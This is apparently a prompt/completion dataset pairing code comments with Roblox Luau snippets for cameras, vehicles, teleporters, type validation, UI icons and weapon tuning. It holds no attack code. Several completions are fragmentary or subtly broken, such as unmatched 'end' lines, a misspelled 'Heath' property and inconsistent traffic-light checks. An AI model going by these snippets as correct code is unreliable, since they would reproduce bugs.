prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--- Handles initial preparation of the game server-side.
return function (cmdr) local ReplicatedRoot, RemoteFunction, RemoteEvent local function Create (class, name, parent) local object = Instance.new(class) object.Name = name object.Parent = parent or ReplicatedRoot return object end ReplicatedRoot = script.Parent.CmdrClient if ReplicatedStorage:FindFirstChild("Resources") and ReplicatedStorage.Resources:FindFirstChild("Libraries") then -- If using RoStrap -- ReplicatedRoot.Name = "Cmdr" ReplicatedRoot.Parent = ReplicatedStorage.Resources.Libraries else ReplicatedRoot.Parent = ReplicatedStorage end RemoteFunction = Create("RemoteFunction", "CmdrFunction") RemoteEvent = Create("RemoteEvent", "CmdrEvent") Create("Folder", "Commands") Create("Folder", "Types") script.Parent.Shared.Parent = ReplicatedRoot cmdr.ReplicatedRoot = ReplicatedRoot cmdr.RemoteFunction = RemoteFunction cmdr.RemoteEvent = RemoteEvent cmdr:RegisterTypesIn(script.Parent.BuiltInTypes) script.Parent.BuiltInTypes:Destroy() script.Parent.BuiltInCommands.Name = "Server commands" if StarterGui:FindFirstChild("Cmdr") == nil then CreateGui() end end
-- helpers
local Networking = require(Src.Http.Networking) local getFullPath = require(Src.Util.getFullPath)
--Misc
Tune.RevAccel = 470 -- RPM acceleration when clutch is off Tune.RevDecay = 486 -- RPM decay when clutch is off Tune.RevBounce = 170 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Disconnect all handlers. Since we use a linked list it suffices to clear the -- reference to the head handler.
function Signal:Destroy() self._handlerListHead = false end
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume >= 0 then handler:FireServer('volumedown', true) carSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = ("Vol: "..carSeat.Parent.MPL.Sound.Volume) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume <= 10 then handler:FireServer('volumeup', true) carSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = ("Vol: "..carSeat.Parent.MPL.Sound.Volume) end elseif key == "b" then handler:FireServer("Radio") elseif key == "m" then handler:FireServer("Delete") elseif key == "n" then handler:FireServer("Tabs") end end) HUB.Mirror.MouseButton1Click:connect(function() --Mirrors handler:FireServer('MirrorsFOLD') end) HUB.MirrorUF.MouseButton1Click:connect(function() --Mirrors handler:FireServer('MirrorsUNFOLD') end) HUB.Eco.MouseButton1Click:connect(function() --Hide tracker names handler:FireServer('Eco') end) HUB.Comfort.MouseButton1Click:connect(function() --Hide tracker names handler:FireServer('Comfort') end) HUB.Sport.MouseButton1Click:connect(function() --Hide tracker names handler:FireServer('Sport') end) carSeat.Indicator.Changed:connect(function() if carSeat.Indicator.Value == true then script.Parent.Indicator:Play() else script.Parent.Indicator2:Play() end end) game.Lighting.Changed:connect(function(prop) if prop == "TimeOfDay" then handler:FireServer('TimeUpdate') end end) if game.Workspace.FilteringEnabled == true then handler:FireServer('feON') elseif game.Workspace.FilteringEnabled == false then handler:FireServer('feOFF') end carSeat.LI.Changed:connect(function() if carSeat.LI.Value == true then carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = true script.Parent.HUB.Left.Visible = true else carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = false script.Parent.HUB.Left.Visible = false end end) carSeat.RI.Changed:connect(function() if carSeat.RI.Value == true then carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = true script.Parent.HUB.Right.Visible = true else carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = false script.Parent.HUB.Right.Visible = false end end) for i,v in pairs(script.Parent:getChildren()) do if v:IsA('TextButton') then v.MouseButton1Click:connect(function() if carSeat.Windows:FindFirstChild(v.Name) then local v = carSeat.Windows:FindFirstChild(v.Name) if v.Value == true then handler:FireServer('updateWindows', v.Name, false) else handler:FireServer('updateWindows', v.Name, true) end end end) end end while wait() do carSeat.Parent.Body.Dash.DashSc.G.Spd.Text = (math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88))).." mph") carSeat.Parent.Body.Dash.Screen.G.Screen.StatusBar.Time.Text = game.Lighting.TimeOfDay carSeat.Parent.Body.Dash.DashSc2.G.Time.Text = game.Lighting.TimeOfDay end
-- CONSTANTS
local SIMPSON_N = 16 local NEWTON_N = 6 local ZERO = Vector3.new(0, 0, 0)
-- Made by Texar with help from TheLuaWeaver, released to the public
------------------------------------
function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then local teleportfrom=script.Parent.Enabled.Value if teleportfrom~=0 then if h==humanoid then return end local teleportto=script.Parent.Parent:findFirstChild(modelname) if teleportto~=nil then local torso = h.Parent.Torso local location = {teleportto.Position} local i = 1 local x = location[i].x local y = location[i].y local z = location[i].z x = x + math.random(-1, 1) z = z + math.random(-1, 1) y = y + math.random(2, 3) local cf = torso.CFrame local lx = 0 local ly = y local lz = 0 script.Parent.Enabled.Value=0 teleportto.Enabled.Value=0 torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz)) wait(3) script.Parent.Enabled.Value=1 teleportto.Enabled.Value=1 else print("Could not find teleporter!") end end end end end script.Parent.Touched:connect(onTouched)
-- Constants
local Settings = { -- Rate: How many droplets spawn per second Rate = 8; -- Size: How large the droplets roughly are (in studs) Size = 0.1; -- Tint: What color the droplets are tinted (leave as nil for a default realistic light blue) Tint = Color3.fromRGB(226, 244, 255); -- Fade: How long it takes for a droplet to fade Fade = 1.5; } local Workspace = game:GetService("Workspace") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") local UpVec = Vector3.new(0, 1, 0) local DROPLET_SIZE = Vector3.new(1, 1, 1) local EMPTY_CFRAME = CFrame.new()
--[[** ensures value is a table and all keys pass keyCheck and all values pass valueCheck @param keyCheck The function to use to check the keys @param valueCheck The function to use to check the values @returns A function that will return true iff the condition is passed **--]]
function t.map(keyCheck, valueCheck) assert(t.callback(keyCheck), t.callback(valueCheck)) local keyChecker = t.keys(keyCheck) local valueChecker = t.values(valueCheck) return function(value) local keySuccess, keyErr = keyChecker(value) if not keySuccess then return false, keyErr or "" end local valueSuccess, valueErr = valueChecker(value) if not valueSuccess then return false, valueErr or "" end return true end end do local arrayKeysCheck = t.keys(t.integer) --[[** ensures value is an array and all values of the array match check @param check The check to compare all values with @returns A function that will return true iff the condition is passed **--]] function t.array(check) assert(t.callback(check)) local valuesCheck = t.values(check) return function(value) local keySuccess, keyErrMsg = arrayKeysCheck(value) if keySuccess == false then return false, string.format("[array] %s", keyErrMsg or "") end -- # is unreliable for sparse arrays -- Count upwards using ipairs to avoid false positives from the behavior of # local arraySize = 0 for _ in ipairs(value) do arraySize = arraySize + 1 end for key in pairs(value) do if key < 1 or key > arraySize then return false, string.format("[array] key %s must be sequential", tostring(key)) end end local valueSuccess, valueErrMsg = valuesCheck(value) if not valueSuccess then return false, string.format("[array] %s", valueErrMsg or "") end return true end end end do local callbackArray = t.array(t.callback) --[[** creates a union type @param ... The checks to union @returns A function that will return true iff the condition is passed **--]] function t.union(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do if check(value) then return true end end return false, "bad type for union" end end --[[** Alias for t.union **--]] t.some = t.union --[[** creates an intersection type @param ... The checks to intersect @returns A function that will return true iff the condition is passed **--]] function t.intersection(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do local success, errMsg = check(value) if not success then return false, errMsg or "" end end return true end end --[[** Alias for t.intersection **--]] t.every = t.intersection end do local checkInterface = t.map(t.any, t.callback) --[[** ensures value matches given interface definition @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.interface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "") end end return true end end --[[** ensures value matches given interface definition strictly @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.strictInterface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "") end end for key in pairs(value) do if not checkTable[key] then return false, string.format("[interface] unexpected field %q", tostring(key)) end end return true end end end
-- These controllers handle only walk/run movement, jumping is handled by the -- TouchJump controller if any of these are active
local ClickToMove = require(script:WaitForChild("ClickToMoveController")) local TouchJump = require(script:WaitForChild("TouchJump")) local VehicleController = require(script:WaitForChild("VehicleController")) local CONTROL_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value local FFlagUserFixMovementCameraStraightDownSuccess, FFlagUserFixMovementCameraStraightDownResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixMovementCameraStraightDown") end) local FFlagUserFixMovementCameraStraightDown = FFlagUserFixMovementCameraStraightDownSuccess and FFlagUserFixMovementCameraStraightDownResult
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(script.Parent:WaitForChild("VRBaseCamera")); local v2 = require(script.Parent:WaitForChild("CameraInput")); local v3 = require(script.Parent:WaitForChild("CameraUtils")); local v4 = require(script.Parent:WaitForChild("VehicleCamera")); local l__VRService__5 = game:GetService("VRService"); local l__sanitizeAngle__6 = v3.sanitizeAngle; local v7 = Vector3.new(0, 0, 0); local v8 = setmetatable({}, v1); v8.__index = v8; local l__RunService__1 = game:GetService("RunService"); local u2 = 0.016666666666666666; function v8.new() local v9 = setmetatable(v1.new(), v8); v9:Reset(); l__RunService__1.Stepped:Connect(function(p1, p2) u2 = p2; end); return v9; end; local u3 = require(script.Parent.VehicleCamera:FindFirstChild("VehicleCameraCore")); local l__Spring__4 = v3.Spring; local u5 = require(script.Parent.VehicleCamera:FindFirstChild("VehicleCameraConfig")); function v8.Reset(p3) p3.vehicleCameraCore = u3.new(p3:GetSubjectCFrame()); p3.pitchSpring = l__Spring__4.new(0, -math.rad(u5.pitchBaseAngle)); p3.yawSpring = l__Spring__4.new(0, 0); local l__CurrentCamera__10 = workspace.CurrentCamera; local v11 = l__CurrentCamera__10 and l__CurrentCamera__10.CameraSubject; assert(l__CurrentCamera__10, "VRVehicleCamera initialization error"); assert(v11); assert(v11:IsA("VehicleSeat")); local v12, v13 = v3.getLooseBoundingSphere((v11:GetConnectedParts(true))); p3.assemblyRadius = math.max(v13, 0.001); p3.assemblyOffset = v11.CFrame:Inverse() * v12; p3.lastCameraFocus = nil; p3:_StepInitialZoom(); end; local u6 = require(script.Parent:WaitForChild("ZoomController")); function v8._StepInitialZoom(p4) p4:SetCameraToSubjectDistance(math.max(u6.GetZoomRadius(), p4.assemblyRadius * u5.initialZoomRadiusMul)); end; function v8._GetThirdPersonLocalOffset(p5) return p5.assemblyOffset + Vector3.new(0, p5.assemblyRadius * u5.verticalCenterOffset, 0); end; local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer; function v8._GetFirstPersonLocalOffset(p6, p7) local l__Character__14 = l__LocalPlayer__7.Character; if l__Character__14 and l__Character__14.Parent then local l__Head__15 = l__Character__14:FindFirstChild("Head"); if l__Head__15 and l__Head__15:IsA("BasePart") then return p7:Inverse() * l__Head__15.Position; end; end; return p6:_GetThirdPersonLocalOffset(); end; local l__mapClamp__8 = v3.mapClamp; function v8.Update(p8) local v16 = nil; local v17 = nil; local l__CurrentCamera__18 = workspace.CurrentCamera; local v19 = l__CurrentCamera__18 and l__CurrentCamera__18.CameraSubject; local l__vehicleCameraCore__20 = p8.vehicleCameraCore; assert(l__CurrentCamera__18); assert(v19); assert(v19:IsA("VehicleSeat")); u2 = 0; local v21 = p8:GetSubjectCFrame(); local v22 = p8:GetSubjectRotVelocity(); local v23 = math.abs(p8:GetSubjectVelocity():Dot(v21.ZVector)); local v24 = math.abs(v21.YVector:Dot(v22)); local v25 = math.abs(v21.XVector:Dot(v22)); local v26 = p8:StepZoom(); local v27 = l__mapClamp__8(v26, 0.5, p8.assemblyRadius, 1, 0); v16 = p8:_GetThirdPersonLocalOffset():Lerp(p8:_GetFirstPersonLocalOffset(v21), v27); l__vehicleCameraCore__20:setTransform(v21); v17 = l__vehicleCameraCore__20:step(u2, v25, v24, v27); p8:UpdateFadeFromBlack(u2); if not p8:IsInFirstPerson() then local v28 = CFrame.new(v21 * v16) * v17; local v29 = v28 * CFrame.new(0, 0, v26); if not p8.lastCameraFocus then p8.lastCameraFocus = v28; p8.needsReset = true; end; local v30 = v28.Position - l__CurrentCamera__18.CFrame.Position; if v30.Unit:Dot(l__CurrentCamera__18.CFrame.LookVector) > 0.56 and v30.magnitude < 200 and not p8.needsReset then local v31 = p8.lastCameraFocus; local l__p__32 = v31.p; local v33 = p8:GetCameraLookVector(); local v34 = CFrame.new(l__p__32 - v26 * p8:CalculateNewLookVectorFromArg(Vector3.new(v33.X, 0, v33.Z).Unit, Vector2.new(0, 0)), l__p__32); else p8.currentSubjectDistance = 16; p8.lastCameraFocus = p8:GetVRFocus(v21.Position, u2); p8.needsReset = false; p8:StartFadeFromBlack(); p8:ResetZoom(); end; p8:UpdateEdgeBlur(l__LocalPlayer__7, u2); else v31 = CFrame.new(v21 * v16) * CFrame.new(v17.Position, Vector3.new(v17.LookVector.X, 0, v17.LookVector.Z).Unit); v34 = v31 * CFrame.new(0, 0, v26); p8:StartVREdgeBlur(l__LocalPlayer__7); end; return v34, v31; end; function v8.EnterFirstPerson(p9) p9.inFirstPerson = true; p9:UpdateMouseBehavior(); end; function v8.LeaveFirstPerson(p10) p10.inFirstPerson = false; p10:UpdateMouseBehavior(); end; return v8;
-- FEATURE METHODS
function Icon:bindEvent(iconEventName, eventFunction) local event = self[iconEventName] assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!") assert(typeof(eventFunction) == "function", "argument[2] must be a function!") self._bindedEvents[iconEventName] = event:Connect(function(...) eventFunction(self, ...) end) return self end function Icon:unbindEvent(iconEventName) local eventConnection = self._bindedEvents[iconEventName] if eventConnection then eventConnection:Disconnect() self._bindedEvents[iconEventName] = nil end return self end function Icon:bindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = true return self end function Icon:unbindToggleKey(keyCodeEnum) assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!") self._bindedToggleKeys[keyCodeEnum] = nil return self end function Icon:lock() self.instances.iconButton.Active = false self.locked = true task.defer(function() -- We do this to prevent the overlay remaining enabled if :lock is called right after an icon is selected if self.locked then self.overlayLocked = true end end) return self end function Icon:unlock() self.instances.iconButton.Active = true self.locked = false self.overlayLocked = false return self end function Icon:debounce(seconds) self:lock() task.wait(seconds) self:unlock() return self end function Icon:autoDeselect(bool) if bool == nil then bool = true end self.deselectWhenOtherIconSelected = bool return self end function Icon:setTopPadding(offset, scale) local newOffset = offset or 4 local newScale = scale or 0 self.topPadding = UDim.new(newScale, newOffset) self.updated:Fire() return self end function Icon:bindToggleItem(guiObjectOrLayerCollector) if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then error("Toggle item must be a GuiObject or LayerCollector!") end self.toggleItems[guiObjectOrLayerCollector] = true self:updateSelectionInstances() return self end function Icon:updateSelectionInstances() -- This is to assist with controller navigation and selection for guiObjectOrLayerCollector, _ in pairs(self.toggleItems) do local buttonInstancesArray = {} for _, instance in pairs(guiObjectOrLayerCollector:GetDescendants()) do if (instance:IsA("TextButton") or instance:IsA("ImageButton")) and instance.Active then table.insert(buttonInstancesArray, instance) end end self.toggleItems[guiObjectOrLayerCollector] = buttonInstancesArray end end function Icon:addBackBlocker(func) -- This is custom behaviour that can block the default behaviour of going back or closing a page when Controller B is pressed -- If the function returns ``true`` then the B Back behaviour is blocked -- This is useful for instance when a user is purchasing an item and you don't want them to return to the previous page -- if they pressed B during this pending period table.insert(self.blockBackBehaviourChecks, func) return self end function Icon:unbindToggleItem(guiObjectOrLayerCollector) self.toggleItems[guiObjectOrLayerCollector] = nil return self end function Icon:_setToggleItemsVisible(bool, byIcon) for toggleItem, _ in pairs(self.toggleItems) do if not byIcon or byIcon.toggleItems[toggleItem] == nil then local property = "Visible" if toggleItem:IsA("LayerCollector") then property = "Enabled" end toggleItem[property] = bool end end end function Icon:call(func) task.spawn(func, self) return self end function Icon:give(userdata) local valueToGive = userdata if typeof(userdata) == "function" then local returnValue = userdata(self) if typeof(userdata) ~= "function" then valueToGive = returnValue else valueToGive = nil end end if valueToGive ~= nil then self._maid:give(valueToGive) end return self end
--Leonlai Fog Script. :D
game.Lighting.FogStart = 10 game.Lighting.FogEnd = 100 game.Lighting.FogColor = Color3.new(0,0,0) game.Lighting.TimeOfDay = "00:00"
-- TeleportService:Teleport(placeID_Premium, player)
local character = player.Character local temp = Instance.new("Smoke") temp.Color = Color3.fromRGB(102,102,102) temp.Size = 0.1 temp.RiseVelocity = 0.1 temp.Parent = character.LowerTorso character.Humanoid.WalkSpeed += 8 end end)
-- Sometimes, e.g. when comparing two numbers, the output from jest-diff -- does not contain more information than the 'Expected:' / 'Received:' already gives. -- In those cases, we do not print a diff to make the output shorter and not redundant.
function shouldPrintDiff(actual: any, expected: any) if typeof(actual) == "number" and typeof(expected) == "number" then return false end -- ROBLOX deviation: excluded if statement checking bigint types if typeof(actual) == "boolean" and typeof(expected) == "boolean" then return false end return true end function replaceMatchedToAsymmetricMatcher( replacedExpected: any, replacedReceived: any, expectedCycles: Array<any>, receivedCycles: Array<any> ) if not Replaceable.isReplaceable(replacedExpected, replacedReceived) then return { replacedExpected = replacedExpected, replacedReceived = replacedReceived, } end if Array.indexOf(expectedCycles, replacedExpected) ~= -1 or Array.indexOf(receivedCycles, replacedReceived) ~= -1 then return { replacedExpected = replacedExpected, replacedReceived = replacedReceived, } end table.insert(expectedCycles, replacedExpected) table.insert(receivedCycles, replacedReceived) local expectedReplaceable = Replaceable.new(replacedExpected) local receivedReplaceable = Replaceable.new(replacedReceived) expectedReplaceable:forEach(function(expectedValue: any, key: any) local receivedValue = receivedReplaceable:get(key) if isAsymmetricMatcher(expectedValue) then if expectedValue:asymmetricMatch(receivedValue) then receivedReplaceable:set(key, expectedValue) end elseif isAsymmetricMatcher(receivedValue) then if receivedValue:asymmetricMatch(expectedValue) then expectedReplaceable:set(key, receivedValue) end elseif Replaceable.isReplaceable(expectedValue, receivedValue) then local replaced = replaceMatchedToAsymmetricMatcher( expectedValue, receivedValue, expectedCycles, receivedCycles ) expectedReplaceable:set(key, replaced.replacedExpected) receivedReplaceable:set(key, replaced.replacedReceived) end end) return { replacedExpected = expectedReplaceable.object, replacedReceived = receivedReplaceable.object, } end
--//Main
repeat wait() Camera.CameraType = Enum.CameraType.Scriptable until Camera.CameraType == Enum.CameraType.Scriptable Camera.CFrame = workspace.CameraPart.CFrame PlayButton.MouseButton1Click:Connect(function() Camera.CameraType = Enum.CameraType.Custom end)
--[[START]]
script.Parent:WaitForChild("Car") script.Parent:WaitForChild("Values")
--[[ CameraShakePresets.Bump CameraShakePresets.Explosion CameraShakePresets.Earthquake CameraShakePresets.BadTrip CameraShakePresets.HandheldCamera CameraShakePresets.Vibration CameraShakePresets.RoughDriving --]]
local CameraShakeInstance = require(script.Parent.CameraShakeInstance) local CameraShakePresets = { -- A high-magnitude, short, yet smooth shake. -- Should happen once. Bump = function() local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.75) c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; -- An intense and rough shake. -- Should happen once. Explosion = function() local c = CameraShakeInstance.new(5, 10, 0, 1.5) c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25) c.RotationInfluence = Vector3.new(4, 1, 1) return c end; -- A continuous, rough shake -- Sustained. Earthquake = function() local c = CameraShakeInstance.new(0.8, 4.5, 3, 12) c.PositionInfluence = Vector3.new(0.45, 0.45, 0.45) c.RotationInfluence = Vector3.new(2, 2, 5) return c end; -- A bizarre shake with a very high magnitude and low roughness. -- Sustained. BadTrip = function() local c = CameraShakeInstance.new(10, 0.15, 5, 10) c.PositionInfluence = Vector3.new(0, 0, 0.15) c.RotationInfluence = Vector3.new(2, 1, 4) return c end; -- A subtle, slow shake. -- Sustained. HandheldCamera = function() local c = CameraShakeInstance.new(1, 0.25, 5, 10) c.PositionInfluence = Vector3.new(0, 0, 0) c.RotationInfluence = Vector3.new(1, 0.5, 0.5) return c end; -- A very rough, yet low magnitude shake. -- Sustained. Vibration = function() local c = CameraShakeInstance.new(0.4, 20, 2, 2) c.PositionInfluence = Vector3.new(0, 0.15, 0) c.RotationInfluence = Vector3.new(1.25, 0, 4) return c end; -- A slightly rough, medium magnitude shake. -- Sustained. RoughDriving = function() local c = CameraShakeInstance.new(1, 2, 1, 1) c.PositionInfluence = Vector3.new(0, 0, 0) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; } return setmetatable({}, { __index = function(t, i) local f = CameraShakePresets[i] if (type(f) == "function") then return f() end error("No preset found with index \"" .. i .. "\"") end; })
--[[ I did not steal this script from anybody... For those of you who don't know how to script, all this does it deletes the new animation script, and replaces it with this one when a player enters. I had no knowlage another one of these exists. That does not make me a stealer, so please show some respect. ]]
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {7,12} --- Vertical Recoil ,HRecoil = {6,8} --- Horizontal Recoil ,AimRecover = .85 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 3.75 --- Vertical Punch ,HPunchBase = 2.5 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .25 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 1.75 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 1 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
-- we have a player in the radius
local playerRay = Ray.new(v.Position+Vector3.new(0,10,0),Vector3.new(0,-50,0)) local part,pos,norm,mat = workspace:FindPartOnRay(playerRay,v.Parent) if part == workspace.Terrain and mat ~= Enum.Material.Water then
-- local replacePathSepForGlob = require(script.Parent.replacePathSepForGlob).default
-- Functional Services
TweenService = game:GetService("TweenService")
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ClientControl.OnClientInvoke = (function(Mode, Value) if Mode == "PlaySound" and Value then Value:Play() end end) function InvokeServer(Mode, Value, arg) pcall(function() ServerControl:InvokeServer(Mode, Value, arg) end) end function Equipped(Mouse) local Character = Tool.Parent local Player = Players:GetPlayerFromCharacter(Character) local Humanoid = Character:FindFirstChild("Humanoid") if not Player or not Humanoid or Humanoid.Health == Humanoid.Heath - 100 then return end Mouse.Button1Down:connect(function() InvokeServer("Click", true, Mouse.Hit.p) end) end local function Unequipped() end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[=[ Observes an attribute on an instance with a conditional statement. @param instance Instance @param attributeName string @param condition function | nil @return Observable<Brio<any>> ]=]
function RxAttributeUtils.observeAttributeBrio(instance, attributeName, condition) assert(typeof(instance) == "Instance", "Bad instance") assert(type(attributeName) == "string", "Bad attributeName") return Observable.new(function(sub) local maid = Maid.new() local lastValue = UNSET_VALUE local function handleAttributeChanged() local attributeValue = instance:GetAttribute(attributeName) -- Deferred events can cause multiple values to be queued at once -- but we operate at this post-deferred layer, so lets only output -- reflected values. if lastValue ~= attributeValue then lastValue = attributeValue if not condition or condition(attributeValue) then local brio = Brio.new(attributeValue) maid._lastBrio = brio -- The above line can cause us to be overwritten so make sure before firing. if maid._lastBrio == brio then sub:Fire(brio) end else maid._lastBrio = nil end end end maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(handleAttributeChanged)) handleAttributeChanged() return maid end) end return RxAttributeUtils
-- ================================================================================ -- VARIABLES -- ================================================================================ -- Services
local UserInputService = game:GetService("UserInputService") local GuiService = game:GetService("GuiService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ContextActionService = game:GetService("ContextActionService") local Players = game:GetService("Players")
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService
local alert = sg:WaitForChild("Listing") -- ожидание загрузки папки списка сообщений
-- A graph object which can have dependents.
export type Dependency = { dependentSet: Set<Dependent> }
--Weld stuff here
car.Body.CarName.Value.VehicleSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then end end)
-- Converts a Color3 in RGB space to a Vector3 in Oklab space.
function Oklab.to(rgb: Color3): Vector3 local l = rgb.R * 0.4122214708 + rgb.G * 0.5363325363 + rgb.B * 0.0514459929 local m = rgb.R * 0.2119034982 + rgb.G * 0.6806995451 + rgb.B * 0.1073969566 local s = rgb.R * 0.0883024619 + rgb.G * 0.2817188376 + rgb.B * 0.6299787005 local lRoot = l ^ (1/3) local mRoot = m ^ (1/3) local sRoot = s ^ (1/3) return Vector3.new( lRoot * 0.2104542553 + mRoot * 0.7936177850 - sRoot * 0.0040720468, lRoot * 1.9779984951 - mRoot * 2.4285922050 + sRoot * 0.4505937099, lRoot * 0.0259040371 + mRoot * 0.7827717662 - sRoot * 0.8086757660 ) end
------------
Player.Character.Torso["Left Shoulder"]:destroy() glue111 = Instance.new("Glue", Player.Character.Torso) glue111.Part0 = Player.Character.Torso glue111.Part1 = leftarm glue111.Name = "Left shoulder" collider111 = Instance.new("Part", leftarm) collider111.Position = Vector3.new(0,9999,0) collider111.Size = Vector3.new(1.5, 1, 1) collider111.Shape = "Cylinder" local weld111 = Instance.new("Weld", collider111) weld111.Part0 = leftarm weld111.Part1 = collider111 weld111.C0 = CFrame.new(0,-0.2,0) * CFrame.fromEulerAnglesXYZ(0, 0, math.pi/2) collider111.TopSurface = "Smooth" collider111.BottomSurface = "Smooth" collider111.formFactor = "Symmetric" glue111.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue111.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) collider111.Transparency = 1
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp Yellow = script.Parent.Yellow.Lamp Green = script.Parent.Green.Lamp DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight if Turn.Value == 0 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = false elseif Turn.Value == 1 then Green.Enabled = true Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = true DYellow.Enabled = false DRed.Enabled = false elseif Turn.Value == 2 then Green.Enabled = false Yellow.Enabled = true Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = true DRed.Enabled = false elseif Signal.Value == 3 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = true DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = true elseif Turn.Value == 3 then while true do Red.Enabled = true Green.Enabled = false Yellow.Enabled = false DRed.Enabled = true DGreen.Enabled = false DYellow.Enabled = false wait(.5) Red.Enabled = false DRed.Enabled = false wait(.5) if Turn == 2 then break end if Turn == 1 then break end if Turn == 0 then break end if Signal ~= 3 then break end if Signal ~= 0 then break end end end wait() end
-- Define emitters
local Emitters = script.Parent:WaitForChild("Emitters")
--[=[ @class RxLinkUtils ]=]
local require = require(script.Parent.loader).load(script) local Brio = require("Brio") local Maid = require("Maid") local Observable = require("Observable") local Rx = require("Rx") local RxBrioUtils = require("RxBrioUtils") local RxInstanceUtils = require("RxInstanceUtils") local RxLinkUtils = {}
-- MouseClick
ClickDetector.MouseClick:Connect(toggleMouse)
-- EFFECTS
while task.wait() do -- rotate name.UIStroke.UIGradient.Rotation += 1 chance.UIStroke.UIGradient.Rotation += 1 end
--Stickmasterluke --A nice simple axe
